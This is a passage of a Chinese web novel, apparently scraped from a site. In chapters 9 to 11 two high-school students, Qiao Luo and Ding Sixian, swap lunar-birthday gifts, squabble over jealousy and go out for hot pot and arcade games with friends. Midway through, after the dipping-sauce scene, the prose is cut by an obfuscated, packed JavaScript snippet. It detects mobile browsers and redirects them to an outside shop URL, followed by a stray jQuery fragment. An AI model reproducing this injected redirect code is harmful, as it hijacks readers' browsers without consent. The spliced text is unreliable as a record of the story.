“要不我试试能不能给你戴上?”杨可期跃跃欲试。 “不要,我回家洗个头发再说。”女孩子对待某个物品或者莫个人的重视程度,很多时候可以用有没有洗头发来评定。 晚自习下课回家后,乔洛用她的最高礼仪“接待”了这条丝带。她手很巧,会编很多种头发,对着镜子摆弄了几下,就把丝带很好的融入进了发丝中。 嗯,丁似霰的审美不错。 她看了一下时间,十点四十八。为什么要过十二点?又不会像灰姑娘的马车那样突然变成新的东西。 乔洛拆开了绑在盒子上的礼品绳,打开盒盖。 没错里面竟然还是一个盒子。 好小巧的盒子。 她打开盖子,映入眼帘的竟然是一个很小但是又有很多颜色的调色盘。 竟然还有珠光色!这种亮闪闪的颜料乔洛盼了好久,初二时在电视上看到过这种颜料的广告后,她就很想弄一份,但是她逛了新柳所有的文化用品商店,并没有找到。 不过因为乔洛对这东西有兴趣但没那么执着,过了一段时间也就抛之脑后了。 惊喜过后,乔洛才看到盒盖背面写着的生日快乐。 丁似霰的字很好看,工整中又透露着一股俊俏,很少见男生写字这么好看的。 但这是谁的生日? 乔洛看着日历疑惑,十二月二十五,圣诞节,她也不过生日啊。 我天,阴历!乔洛恍然大悟,十一月初六,是她阴历生日。 坏了坏了,丁似霰哪天过生日来着? 乔洛连忙打开电脑,想要点开丁似霰的Q/Q信息查看,她似乎没有问过丁似霰的生日。 12月22日,那不是……冬至那天吗?这人怎么这么倒霉,过个生日还要在晚自习的时候被毒气和寒风攻击。 唉,既然都过去了,那就明年再说吧。 乔洛关掉电脑,收拾好桌子,躺回了床上。她越想越感觉奇怪,丁似霰无论从哪里知道的她的生日,都会是阳历而非阴历。 除非是他去查了日历。 对啊,查查日历呗! 乔洛感觉自己翻了好久,当她看到十六年前的十二月二十二日时,不禁感叹,怎么会有这么巧的事情! 为什么乔洛会送丁似霰一只毛绒玩具?这个问题是丁似霰抱着它躺在床上时突然明白的——把玩偶抱在胸前,确实会在一定程度上让他的胃更舒服一些。比起用手抵着的力气虽然小了很多,但确实更为平和以及舒适。 哦,零点整,是十一月初六了。 短信,来自洛洛。 ——生日快乐。 丁似霰有一种盼望了很久的事情如愿以偿的感觉,他抱着玩偶,满脸笑容地打下回信。 ——同乐。 9. 他好奇怪 新材高中每次期末都有两次考试,一次是奉州全市统考,另一次则是这些环绕着奉州的小县城中比较好的高中组成的“郊区联合体”考试。 高一上学期结束,文理分科,所有班级都要重新组合,理科大概会有两个尖子班,文科一个……当然,文科怎么分班至少乔洛和杨可期还有丁似霰和许志是一点不关心的,这四个家伙巴不得让文综赶紧消失在自己的世界里。 乔洛最近的重心并不在期末考试上,某种角度来说,她对于分进重点班……没什么兴趣。她的桌膛里有三分之一的位置,摆着五捆玉线、四个铁圈,还有一些看起来很漂亮的羽毛。 她在做捕梦网香包。其实就是正常的捕梦网,然后底下的流苏挑了三根连接上她做的小香包——这是杨可期看到的理论图纸。 元旦放假前,乔洛只做好了一个装香丸的小球球,是蓝紫色渐变的,非常小巧精致。 杨可期捏着这精致的工艺品迎着光观赏,“我滴个乖乖,洛洛,你这次做的这个我都不知道该给你定什么价了。” 虽然乔洛曾经做的那些也很好看,但都没有这么小巧,这种小东西,杨可期都很难理解乔洛是怎么用绳子打着一个一个结把它编成球体的,关键是还都有像花瓣一样的纹理,太神奇了。 “放心,不卖,这玩意要是没什么交情我才不会做,”乔洛两只手的中指上都绑着创可贴,倒不是有伤口,只是这些绳子都很磨手,用创可贴垫一下,会没有那么疼。她甚至有点后悔做这个,就某一瞬间,一点点后悔。 只有一点点哦。 “这算啥礼物呦?元旦你也做不完的吧?”杨可期并不是质疑乔洛的手速,只是最近作业实在是太多了,九科老师都在留作业,元旦区区三天,加一起留了二十五套卷纸! 乔洛小心翼翼地收拾好她的零件们,然后放进书包外层一个单独的口袋里,这东西可比卷纸宝贵多了,有钱都买不到。 “生日礼物。”乔洛说这四个字的时候,还带有一点雀跃和期待。 她不太懂自己对丁似霰的感觉,虽然和这些比她大了将近两岁的同学们一起上课学习,但那只能代表她的智商偏上,对于情感发育这一块,还不太完善,更何况以乔洛的生长环境而言,她不太能理解自己目前的状态。 “生日?他什么时候过生日?你怎么上赶着要送他生日礼物?我记得你过生日的时候他也没什么表示呀?”杨可期一头雾水。 乔洛还没来得及回复杨可期的提问,就收到了丁似霰的短信。 ——小丁同学主动提供背书包服务,可有兴趣进行体验? ——我没多少东西的,一会还要值日,不用等,谢谢小丁同学。 真的不是客气,这周碰巧乔洛值日,她得留下来等所有人走了之后打扫卫生,杨可期和她一直都是同一组值日,所以也是一起的。 杨可期并没有看乔洛的手机,但她感觉似乎侦查到了敌情:“丁似霰约你?” “没有,他说要帮我拿包干活。 我给拒了。” 杨可期有一种,恨铁不成钢的感觉。 或许真的是因为乔洛很小开始就一直和云锦书两个人生活,她习惯了把她力所能及的所有体力活都尽可能干了,比如拎大米面粉豆油水桶一类的重物上楼,十岁的乔洛就已经可以拎着二十斤大米飞奔上五楼了,虽然很累,但她感觉这样妈妈就可以少干点活。 这也导致了她养成万事不求人的习惯,区区一个书包,哪用得着别人背。 “重点是书包沉不沉嘛?重点是他想和你放学一起走……”杨可期真的不知道乔洛的小脑袋瓜里究竟装了些什么,新学的函数和板块模型她读过题就知道怎么解了,丁似霰这么简单的隐藏欲望她竟然不明白。 也对,乔洛语文一直在不及格的边缘,果然只有阅读,没有理解。 乔洛思考了几秒杨可期的话,感觉说的倒是也有几分道理,但值日是逃不过的,丁似霰也没必要因为等她在学校多待上半个小时。 她还是感觉自己的拒绝是合理的。 而且想一起走可以直接说,说不定他真的就是想背包? “所以生日礼物是怎么回事?”杨可期没有忘记正事。 “他和我阴历是同一天,前几天的那个小盒子是一盒颜料,就是我去年惦记的那种便携式的小颜料盒,还有珠光的,可闪了。” 十一月初六零点零五,也就是圣诞节的凌晨。 乔洛收到“同乐”这条回信之后思考了几分钟,还是把电话打了过去。 “丁似霰,你想要什么礼物?”她不喜欢猜别人的想法,挑礼物也是一件头疼的事情,如果可以的话她甚至希望礼物都变成金条……虽然说确实俗气了点。 “你已经给过我了啊。”丁似霰此时正在床上抱着那只毛绒玩偶傻笑,看起来他要比这条狗傻气更足一些。 “那是圣诞礼物。” 初一的时候班上有同学不知道为什么给她送生日礼物,多是一堆没有用的摆件和玩偶。她又不熟,又不好意思不收,只好一一记下来谁送了些什么,然后去找他们的生日,等到时候再买些同等价钱的东西送回去——这足足让她的钱包吃了个大亏,也是那段时间她才开始编香包去卖的。 多亏初二就出事了,不用再破费。 但丁似霰不一样,他突如其来的礼物没有让乔洛感到麻烦,而只是单纯的也想要送他些什么。这种情感确实也让乔洛很震惊。 “不是,我是说你对我拍马屁事业的认可,就已经是生日礼物了。”那天,正好是十二月二十二日。 “额……那好吧。”本来也想给他做个香包,那就当做生日礼物好咯。 互相道过晚安,两人就挂断了电话。丁似霰在床上抱着玩偶,一边傻笑一边烙饼,他捏了捏狗狗的脸,“怎么这么会哭呢,多亏小时候胆子小。以后就叫你丁小胆吧!” …… 丁似霰收到乔洛的短信后,郁闷了一小下,然后抓起许志跑上三楼——去给十班干活! 不就是值日吗,人多值得快。 乔洛在后门看到丁似霰这张脸的时候,有些傻眼。 他胡乱比划着什么,大概就是问可不可以进来一起值日。 怎么会有人喜欢干活?乔洛不懂,但也没有拒绝。 嚯,还是买一送一,许志也被他拐来了。 毕竟是外来人员,怎么说也会惹人注意。同组值日的赵倩趁机凑到乔洛身边问道,“乔洛,你认识丁似霰?你们关系很好吗?” 丁似霰这么出名?乔洛对于身边的人都没有太大兴趣,自然也没怎么关注过其他人 刚开学那段时间确实有不少人对丁似霰有想法,但后来好像也都没什么水花了,没有想到赵倩还能一眼就认出来丁似霰。 “应该还算可以吧,”乔洛如实回答了,“你认识他?” “没有,我就在学校里遇到过他,能推我他的Q/Q吗?”原来意图在这里。 乔洛感觉推联系人这种行为,至少得征求联系人的同意,所以她直接喊住了丁似霰,“丁似霰!过来一下,我同学想加你好友。” 太直接了大妹子,杨可期看不下去了,拿着她的扫帚悄悄去了另一条过道扫地。 “加我?”这个请求也在丁似霰的意料之外,他看着乔洛,目光中满是疑惑和惊讶,似乎还是在征求意见,奈何乔洛没有领会。他这才看到乔洛手指上的创可贴,问道,“手怎么了?别沾水了,我来擦吧。” 她拆开创可贴,向丁似霰展示了一下毫无伤口的小手,“这是新的fashion。但是你看我干嘛,我又背不下来你Q/Q号。” 她是真的背不下来,成串的数字她只记得云锦书的电话号码。 杨可期的角度,只能看到丁似霰的背影。他明显很不自在,一只手扣着扫把上支起来的铁丝,另一只手搭在桌子上, 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比如谢谢他过来帮忙值日,比如问他假期有什么安排,或者哪怕是使唤他去干什么活都好。 但竟然是帮着别的女孩朝他要联系方式! 真的一点占有欲都没有吗,乔洛同学! 乔洛也大概猜到了是刚才的事情,毕竟在那之前丁似霰一直热情高涨。给过赵倩Q.Q后,这人虽然不至于挂脸,但属实没什么话了,只是很勤劳地值日,一种近似发泄的勤劳,乔洛还没见过干活那么快的,他就好像企图瞬间把教室清理干净然后拉着乔洛离开。 “你不想加她?那以后要是有人问我要我就不给了,我……我说我跟你不熟。” 不熟???杨可期和许志跟在他们俩后面看热闹,这可比电视剧好玩多了。 丁似霰深吸了一口气,她还是个孩子,她还是个孩子,她还是个孩子…… 他凑近了些:“我们不熟吗?” 乔洛微微仰着头,咬着下唇有些翘边的死皮,眨巴着眼睛看他。虽然不明白为什么,但乔洛能看出来他不是很开心,不对,是很不开心。 可能直接喊他,确实唐突了点,他不想加也不好拒绝。 “也……挺熟。” “小心!” 乔洛看着丁似霰的时候没有看路,差点一脚踩进坑里,还好丁似霰反应快,拽了她一把。 算了,等她再大一些应该就会懂了。丁似霰放弃了和乔洛探讨这件事:“你以后就说我这人脾气差,不好相处,不喜欢加别人好友,尤其是女生。” “你挺好相处的,而且人家姑娘明显就是对你感兴趣嘛。” 她知道,她竟然知道!她知道赵倩想干什么! 乔洛,你真大方。 算了,再继续这个话题丁似霰真的要抑郁了。 “中午去吃饭吗?”丁似霰换了话题,很强硬,戛然而止。 “我俩是想去吃麻辣涮串的,”乔洛看着他有些发红的眼眶和鼻头,还有耳朵尖,一时分不清这人是冻的还是真莫名其妙气到了,但她也不并纠结丁似霰莫名其妙的态度:“也可以去吃南门那家铜锅涮肉。” 因为保守估计,丁似霰那并不坚强的小肠胃应该不太能吃太辣的东西。 “涮肉吧,我生理期,不吃辣的了。”杨可期看到她终于能插上话,忙跑上前去,挽住乔洛的胳膊。 “我想回去换个衣服,然后把书包放家里。”主要是想把香包转移到安全地方,她不太想让这东西吸满了火锅的味道。 “那一会见!”许志拖着丁似霰一溜烟跑了。 他看着丁似霰还是一脸郁闷的样子,有点不忍心嘲笑了。 “可能啊,乔洛都没意识到你在生什么气。” “我没生气。”丁似霰只是有些郁闷。 “那你板着个脸干什么?堵着气吃饭再犯胃病,小心把乔洛吓飞了。” 10. 吃醋 为了节约时间,杨可期和乔洛打了出租车回家。 乔洛巴巴望着车窗外流动的景色发呆。 “你说他,为什么不高兴?我也没直接把他Q/Q给出去,不是还问了一下吗?” 这是他们认识半年以来,丁似霰第一次流露出来一些非正面的情感,乔洛不太懂,但是总感觉问题似乎是出在自己身上的,又不知道该怎么……哄,应该是要哄哄的。 杨可期顿时憋不住笑了,这俩人太好玩了,要不说看别人热闹最有趣呢。她蹭了蹭,整个人压在乔洛身上,脑袋和她一起排在车窗旁边。 “我问你啊,赵倩要丁似霰联系方式的时候你什么感觉?” “挺奇怪,她咋知道丁似霰叫什么的?又不认识。” “就,没啥别的感觉吗?不想给或者说那种想把丁似霰藏起来不让别人碰的感觉。” “他他他,他是个人又不是物件,有自己交朋友的自由,我藏他做什么?而且他又不是我的所有物。”杨可期怎么也奇奇怪怪的了,乔洛更是一头雾水。 “那我换个说法,”杨可期想了想,该怎么让乔洛找一找吃醋和占有欲的感觉,“要是我跟别人玩的好,不怎么找你了,你会难受不?” “会吧,我身边经常联系的只有你,那样的话可能会无聊一段时间了。” “那你假期还不联系我,非等着我喊你出来玩!” “我……下次尽量,”乔洛不太喜欢和别人联络,她的关系网复杂又简单,和许多人关系都不错,但又都是点头之交的感觉,“所以这和丁似霰有什么关系?” “要是丁似霰就这么跟赵倩认识了,之后他俩关系好了,他就像天天跟你这样和赵倩在一起……” “不会吧,我平时也没看他和哪个女孩待在一起。” 好,太好了。原来不是不会吃醋,她就压根没想过丁似霰会跟别人跑了。杨可期不禁感叹,我们洛洛乃神人也。 “他就是想让你对他有点占有欲,你至少当面不好拒绝赵倩,你也过后和他说……”说啥呢,杨可期也不知道了,好像确实没权利干涉别人交友。 “他想让我跟他说,让他别加好友?” “嘶,应该是。” “神经。” “而且你别跟我说你一点感觉没有,丁似霰长得那么好看,个子又高,总是在楼下打羽毛球,一直都有不少女孩对他有好感你又不是不知道。” “我知道,运动会的时候他不就在表白墙上挂了好几天吗?我还记得不知道是谁把他过来找我算账的照片拍下来发网上了,搞得那几天我都不想在学校里露脸了。” “所以,很多人惦记丁似霰的,但是没人从他那要到Q/Q,而今天是从你这里打开了这个缺口,你就不怕他被拐跑了?” “被拐跑的,能是什么好东西。”乔洛对于她身边的所有情感和物品都从不强求。 她一直感觉,想留下的,赶也赶不走,就像杨可期一样;但是想走的,同样,怎么也留不下。 这还是乔连富教给她的。 杨可期家离得比较近,她先下了车,留下乔洛一个人胡思乱想。 雄性地球猿,真奇怪。 乔洛回到家,麻利的脱下了一身校服,然后换上了自己的牛仔裤。 她对着镜子看了一下,要不然打扮打扮? 她又找出了上次放假买的新衣服,云锦书说让她换换颜色,不要每天都只穿黑色和白色的衣服,于是她就挑了一件粉色的卫衣,衣服后面有一个小圆球尾巴,帽子上一圈毛茸茸的装饰还有两条长长的兔耳朵。 新衣服,去吃火锅,会不会弄脏?弄脏再洗,没事的,她很快决定了,就穿这件。 哦对,头发,盘起来吧,要不然和帽子窝在一起怪不舒服的。 天!她竟然随手一扎,弄出了一个巨无比饱满的丸子头,太完美了。 乔洛看着全身镜里的自己,黑色喇叭牛仔裤,粉色毛茸茸的卫衣,圆润饱满的丸子头……诶,是不是可以试试把那个丝带绑上? 她试了一下,还是挺好看的。 但又拆下来了,下次去吃一些没那么容易染上气味的食物的时候再戴吧。 丁似霰和杨可期早早就到了火锅店,他们家都离得比较近,许志得先回家给他奶奶把饭放进蒸锅里热一下。 杨可期看着丁似霰的情绪还有一点点低落,她想起了刚刚的事情,决定亲自出马教一教丁似霰,该怎么和乔洛这种不一般的女孩子相处。 “丁似霰,乔洛这个人吧,脑子没有很常规,我刚才和她聊了两句。她不是不会吃醋,但她确实对任何人都没有什么占有欲,她感觉交友是你自己的权利,她管不到。” 丁似霰感觉天更塌了。 “她就一点都没有那种,不想让我跟别的女生有私下联系的感觉吗?” “很遗憾,没有,”杨可期把乔洛的想法润色转达了一下,“因为她压根就没想过你会和除她以外的人那么热情。” 哦,丁似霰的天又补回来了。 “但她感觉你现在的行为很神经。”杨可期也没放过丁似霰,很直白的告诉了他乔洛的话。 “洛洛看起来人缘还不错,和谁都能聊上几句,有人找她帮忙只要是能力范围内她也来者不拒。也确实会偶尔一时兴起做做什么好事一类的。但她很少主动和谁联系,和我也一样,我们幼儿园分开之后的所有联系都是我在找她。” 说到这里杨可期就气不打一处来,她上了小学半年都不见乔洛找她,明明说好了以后一起去儿童乐园玩,最后还是小学期末考试放了假,杨可期去幼儿园把乔洛抓出来拐去了淘气堡。 丁似霰想了想,好像是这样,乔洛多数时候像个没脾气的娃娃,虽然嘴毒毒的。他甚至脑子里出现了乔洛无奈的声音:“神经”。 而且从开学到现在,也确实一直是丁似霰在制造交集。 “我可以一直很主动的和她联系的,就是感觉她好像不太在乎有没有我这个朋友。” 杨可期叹了口气,“你小子命都够好了,我认识她十年半了,也没见她特意去给我买一次早饭!” 丁似霰好像回味起了什么,不住地抿着嘴笑着点头。 “所以她就是情感上迟钝了点,你别指望她短时间内对你有多大的特别……虽然我感觉她对你已经很特别了。”杨可期没有说香包的事情,这种东西还得让人家俩自己玩。 乔洛到火锅店时,就看到杨可期说着些什么,丁似霰坐在她对面好像一直在笑。 还真是阴晴不定的男人。 “在说什么?”她小跑过去,脱下了羽绒服,搭在凳子上,“这么开心?” “说你幼儿园带我舌战群儒,开展秋千保卫战。”那是杨可期对于幼儿园最深的回忆。 别看乔洛人不大,胆子倒不小,当时杨可期的秋千被更大的孩子抢走了,她就在一旁无助的哭,洛洛女侠看到了之后直接从底下一掀,把那个高了她一头的男生扔下了秋千。然后一本正经地和他讲道理,欺负女孩子抢别人东西是不对的。 “女侠!”丁似霰对着乔洛比比大拇指。 这哥们不用哄了?自己把自己哄好了?乔洛编排了一路,该怎么和丁似霰说话,没成想现在看到的人满脸都是笑容。 “女侠看看吃什么,咱们先点,许志一会就过来。”丁似霰从包间门口把菜单拽了进来,递给乔洛和杨可期,然后又很自觉的给洛洛倒上了一杯热水。 殷勤的好像比之前更甚。 “我分不清这些肉,你们点吧,我要一盘海带根就行。”什么肥牛肥羊上脑五花,乔洛吃起来感觉都是一个味,搞不懂怎么有那么多种类。 点好菜后,乔洛和丁似霰去了调料台打调料,杨可期并没有跟出来。 “杨可期不来拿调料?”丁似霰问道。 “不,每次都是我给她调。” “你有秘方?”丁似霰挖了一勺麻酱,又加了点耗油和糖,他草率的调料碗就完工了。 “额,那倒是没有,但你这,真好吃吗?”乔洛也挖了麻酱,一勺蚝油一勺糖,然后又加了辣椒油,葱花香菜……和陈醋,她加了好多陈醋。 “嘶……”丁似霰从来没见过有人调料碗加这么多醋。 “嘿嘿,我挺爱吃醋的。”乔洛放下自己的碗,又去给杨可期调料,她喜欢吃腐乳还吃韭菜花,这两个东西乔洛一个都不能理解。 丁似霰左手拿着自己的调料碗,右手拿着乔洛的。咦,这股子陈醋味真浓。他突然有点好奇,也在考虑要不要加一点尝尝。 乔洛看到了他犹豫的眼神,接了话,“你可以试试,吃点醋还会促消化。” 她又加了一句,“我感觉挺好吃的。” “要不然,你给我加工加工?”丁似霰递出了自己的调料碗。 “除了花生碎,你还什么别的不能吃的吗?”乔洛没拒绝,加几勺调料的事情,没有拒绝的理由。 “没。” “不过我也不喜欢吃花生碎,我总感觉这东西加在调料里奇奇怪怪的,”乔洛按照她喜欢的配比又给丁似霰丰富了一下他的调料碗,“话说你要是一不小心吃了花生会怎么样?” “嘶,小时候喝过花生露,进医院了,喝完会肚子疼,然后好像会吐,但是太久远了我也记不太清。” “太恐怖了。” 这是第一次,丁似霰吃火锅时蘸料里加了很多他没有试过的味道,似乎确实不错。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908902|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许志像是掐着上菜的时间一样,他和最后一份肉卷一起进了包间。 呼,这么冷的天,在屋里暖暖呼呼的吃涮肉,爽! 他们一边吃,一边讨论着期末考试分班的事情。 “我可没有什么不切实际的妄想,当初公费来新材都是因为丁似霰拖着我学了半年,中考的时候我又撞了大运蒙的比较好。我能老老实实在平行班做个头头,挺好。” 许志对自己定位清晰,他成绩不是很好,进不去重点班,但是留在平行班好好学,确实也至少是前五名。 可剩下的三个不一样。 “重点班就两个?”丁似霰似乎并不是打退堂鼓的意思。 “对啊,说是期末两次算平均成绩,然后前八十名放进去排两个重点班。”乔洛知道这个操作,但着实没什么兴趣。 “那也就是说进重点班的话你俩更可能还在一个班级。”呵,诡计多端的男人,明明是想把他也算上,他更容易和洛洛分在一个班级。 “确实诶,之前我没想过这个事,”乔洛转过头去问杨可期,“那你想进不?” 最近一直和杨可期厮混在一起,安逸到让她已经快忽略了她们在一个班级的事情未必会继续下去。 “我啊,就好好考呗,能进最好,不能就拉倒。”听起来是想进的。 “那就进。”纯理成绩前八十名,这对于乔洛来讲易如反掌,只要她写作文的时候不要再胡说八道了。 “乔洛你怎么把进重点班说的比吃这顿饭还容易。”许志不忍感叹,跟这些脑子好使的人真没法比。 “天赋,嘿嘿,我要是学文的话别说重点班了,平行班我都得倒数。而且考进新材高中的前八十,又不是考北大。” 乔洛一向认为学习理科不难,但好成绩并没有给她带来什么开心的事,所以她也不在乎这个,甚至会有意的控分,让她自己的成绩看起来在一个偏上但是又不怎么出彩的位置……当然,以这种态度也不可能学得很好,她全力答卷的话也就能在新材混个十几二十名。 考得太好了之后,她总是会想大概要多久人们才会对她失望,又或是编出一些更奇怪的言语。 丁似霰很激动,他要好好复习了,只要考进前八十,就有百分之五十的几率和乔洛当同班同学,这诱惑力太大了。 至于其他的事情,还有很长很长的时间,慢慢来。 这还是他们四个第一次在一张桌子上吃饭,以前在学校都是买好饭各回各班。 吃饭之前两个男孩就和她们说了饭钱的事情——乔洛和杨可期一共四分之一,剩下的他们两个摊。 乔洛对于这点其实是从来没有想过的,当然,是在见识了这俩人的饭量之前。 确实,无论是丁似霰还是许志,都能吃出乔洛或是杨可期二倍的饭量。 大概每种菜都尝过几口后,乔洛和杨可期就停止战斗了。 但丁似霰发现,乔洛吃拌菜的时候完全避开胡萝卜夹。 “你……不爱吃胡萝卜?”丁似霰问道。 “是这样,”乔洛丝毫没有掩饰的欲望:“我只吃熟胡萝卜,还得调味很重的,因为那样没有胡萝卜味了。” “当然了,你做的那个东西,”乔洛忽然想起了那个冰糖胡萝卜:“确实味道很神奇。” 杨可期说道:“洛洛上一次生啃胡萝卜是因为胜负欲上来了,和别人比赛谁啃得快。” “嘿,我赢了。”乔洛一脸对胜利的回味。 不得不说,看两个小伙子吃饭还挺有食欲的,但真的吃不下了。 “你俩……在学校能吃饱吗?”乔洛问出了心中的疑惑。 丁似霰咽下嘴里的一大口面条,很是满足,“不太能,但晚上回家还会吃饭,问题不大。” 许志还在忙着吃,用实际行动肯定了丁似霰的回复。 “面条拌麻酱,仙品。”说罢,丁似霰继续沉浸式嗦面。 “不是,凭什么,他俩这么吃,还很瘦?”乔洛栽在杨可期身上,本来吃的就很饱,对比之下多少有点窝火,更撑了。 “我俩,毕竟是正常的东北青壮年男性,这个饭量很正常的。”许志站起身,又去铜锅里捞了点肉卷。 丁似霰直接从他的盘子里抢了一些过来,这家伙现在已经懒得起身了。 “sorry~太久没跟男的接触了,我属实是对人形饕餮没太大概念,”乔洛道,“我回去找找能给学校这边订餐的谁家有大份饭,你俩半年了也不告诉我一声。” “没事,”丁似霰显然是终于吃饱了,擦了擦嘴,“五分饱有利于健康。” 你小子太没原则了吧?许志白了他一眼,谁家五分饱养生,不都是七八分饱有利健康吗? 11. 姐姐~ 当然,学习从明天开始,今天先去撒欢。 新柳的中街,有一个很大的商场,商场三楼和四楼全是游乐设施。 三楼是一个室内的游乐场,儿童乐园,碰碰车,旋转木马以及涂石膏娃娃和小火车这类东西,四楼是电玩城,和打枪的游戏。 乔洛喜欢扎气球,不过她扎不太准,正常来讲十五镖也只能中七八个。 这次也一样,她又扎了半天,得到了一根棒棒糖。 丁似霰跃跃欲试,把袖子撸上去了一半,“给你露一手哈!” 他真的厉害,除了第一下没有手感扎到了缝隙以外,真的是一镖一个响,飞镖扎在板子上的声音和气球爆破的声音基本同时发出。 乔洛在一旁看呆了,她有一种感觉,要是跟他打雪仗,自己会被打成雪人。 “喜欢哪个?”丁似霰的声音打断了乔洛的想象。十四个,可以拿一个大玩偶,丁似霰带着乔洛去挑玩偶了。 “我不要了,家里一堆毛绒玩具,没地方摆。”乔洛很多东西都是买到手就用到坏的那种,她睡觉抱一个就足够了,剩下别人送的玩偶在角落里堆着,坦白讲,有点碍事。 “老板,我不要这个奖品了,再玩两把呗?”丁似霰对着正在绑新气球的老板说道,“就玩玩,不要奖品。” 气球当然比玩偶便宜,对于老板来讲稳赚不赔,而现下又没什么人等着排队,老板很痛快就答应了。 老板甚至直接拿了一桶飞镖出来,让他们随便玩。 善人,大善人! 丁似霰拿起一个飞镖,做着演示,“你这样,瞄准,手拿稳,然后使劲,扔出去!” “啪!”一个气球爆炸了,留下了破掉的气球渣渣和在扎在气球正中心的飞镖。 乔洛试了一下,她只做到了使劲扔出去。 镖虽没有扎到气球,但是能稳稳扎在板子上。没什么,就是力气大,准头小。 “我大概没这个天赋。”乔洛有些挫败。 “没事没事,这么一大桶呢,慢慢试。” 丁似霰又拿出一把飞镖,把它们平放在桌子上。然后他曲着腿,以大概比乔洛高不了多少的高度,又教了乔洛一次。 “孺子可教也!” 乔洛射中了。 但她又不是平时自己一个射不中,这个……纯纯是让她这只瞎猫碰到了死耗子。 乔洛扔空了半桶飞镖,也算是有点长进。 今天玩的真爽啊! 乔洛走的时候,在飞镖桶下压了十块钱。扎了人家这么多气球,出来摆摊也都不容易。 飞镖桶下,竟然早就被放了一张十元纸币。 杨可期和许志在电玩城里专心致志的搞娃娃——杨可期在抓娃娃,许志则是在做游戏赢娃娃。 乔洛看到杨可期时,她右手拿着抓杆,仅仅盯着娃娃机里面的抓夹是否在她想要的位置,然后果断下爪……掉了。 她的左手上已经拿了五个小玩偶。 “你是来进货的吗?”乔洛很快就成了杨可期的玩偶储藏架。 “等等啊,这个马上保夹了,”杨可期眯起眼,在正面看看,又绕到侧面看看,确保这确实是她想要的位置——然后把这只翘着尾巴的小恐龙,从尾巴尖……掀起来了? “这就是保夹吗……”这是给人撅屁股撅起来了。 毫不夸张的说,杨可期像是去娃娃机进货。 五十块钱的游戏币,抓了十四只娃娃。 还有三个游戏币。 “洛洛,来试试呗?”杨可期看着娃娃机里面吐舌头的白色小狗,感觉甚是可爱,但是就只能抓三次,估计也是抓不上来了。 “我从来就没抓上来过这东西,不浪费币子了。”乔洛每次都是帮杨可期拿娃娃的命,小时候试过几次,但根本没有到过保夹,她……也不太会撅屁股。 “试试嘛,”杨可期接过了乔洛手里推着的,装满了十四个娃娃的推车,然后把三个游戏币塞到了她手里,“反正三次我大概也抓不上来,嘿嘿。” 好家伙,原来如此。 乔洛投进一个游戏币,像模像样地摇起了抓杆。 她瞄准其实还是很厉害的……就像她打羽毛球会打歪,但是多数其实可能是会接到的一样吧。 但她这次没有瞄着某一只玩偶。 不远处,丁似霰半蹲着,举着他的小拍立得,穿过并不算太多的人海,找准时机,摁下了快门。 “我去!”他在镜头里看到了……乔洛一下抓上了两只??? 两个女孩惊喜得语无伦次。 抓上来了两只,还都掉了出来。 这甚至不是保夹。 这仅仅是因为乔洛大胆的实验,瞄准两只玩偶重叠的部分,企图把夹子卡住,然后在最后彻底松掉的时候两只一起掉下来。 乔洛雀跃着转身,似是在寻找些什么。 丁似霰举着照片,笑盈盈向她们走过来。 “你照下来了?”这无疑是让人惊喜的,一爪两只! “应,应该吧。”其实他不太知道,他在惊讶之余有没有及时摁下快门,“等下成像了看看。” 许志在他身后,抱着一个巨大无比的大熊——也没有很巨大,大致有七十厘米长那种吧。 他不信邪,总是想进一步挑战,之前得到的小东西都直接选择继续挑战,然后失败。 唯独刚刚这一次,终于成功了啊哈哈哈哈哈哈哈。 许志洋装埋怨着丁似霰:“你不够意思,兄弟抓这么大一个你不记录一下,你提前蹲点在那等着给乔洛照相。” “你没她好看。”丁似霰毫不遮掩。 “大摄影师,有品,拍的好!” “拍的好拍的好!” 杨可期和乔洛对丁似霰的摄像技术十分满意。 那张小小的照片已经显出了画面,两只玩偶在抓夹里紧紧拥在一起,下方正是玩偶出洞口。 娃娃机一旁,两个女孩虽然只能看到一点侧脸,但也可以轻易地看出她们激动又紧张。 “我再也不说你天天背个破相机没有用了。”许志好像学到了什么:“很适合撩……” “妹”字还没有说出来,许志就被丁似霰捂住了嘴。 “他说很适合记录生活。”丁似霰捂着许志,明目张胆地歪曲着他的话。 “搞这么多娃娃,我不拿啊。”乔洛抱着她的战利品,并且表示与另外的玩偶们划清界限。 他们实在是,太拉风了,尤其是在孩子很多的电玩城里。 有很多小朋友用羡慕的眼光看着这些小玩偶们。 杨可期随手抓起一只,蹲下身,笑眯眯地和距离她最近的那个小女孩说,“小妹妹,你夸姐姐几句,姐姐就把这个玩偶给你好不好?” 一些有点惊悚的记忆涌上了乔洛心头,初中和杨可期来抓娃娃,她就抓尽兴之后,随机抓小孩,让小孩说点好听的就送玩偶。 最恐怖的是杨可期还会让孩子连着乔洛一起夸。 太尴尬了。 乔洛背过身去,“我不认识她,我先走了。” “别走啊!”杨可期拉住了她,“你再夸夸这个姐姐,我再给你拿一只?” 乔洛的笑容僵在了脸上,“不,不用了……” 杨可期的夸夸换玩偶活动非常受小朋友们的喜欢,很快她就用所有玩偶换了小朋友们一堆夸夸和棒棒糖。 这就是社交恐怖分子吗? “一个不留?”许志对于杨可期的操作很震惊。 “我家,这种玩偶,半个床箱子都是,真装不下了。” 这真是一个比收集沙漏恐怖了不知道多少的爱好。 许志赶紧抱紧了他的战利品,这个还是回去送给他的小侄女吧。 杨可期简直就是这个游乐场的忠实拥护者,现在又喊着他们仨去楼下玩。 “嘿嘿,洛洛,我可爱的洛洛,我想玩翻滚球。” “能,拒绝吗?” 翻滚球,是那种一个固定的机器,人坐在上面,然后开始翻滚。不知道出于什么原因,这东西需要配平,至少有两个人,正反面各一个,才可以去玩。 机器大框是不动的,但是人会和座椅一起,像坐过山车一样滚动。 不对,比过山车更恐怖,这东西方向变化的太快了,过山车好歹还是有长长的轨道的。 “好吧好吧,”杨可期又把主意打在了这两个男孩子身上,“你俩敢不敢?” 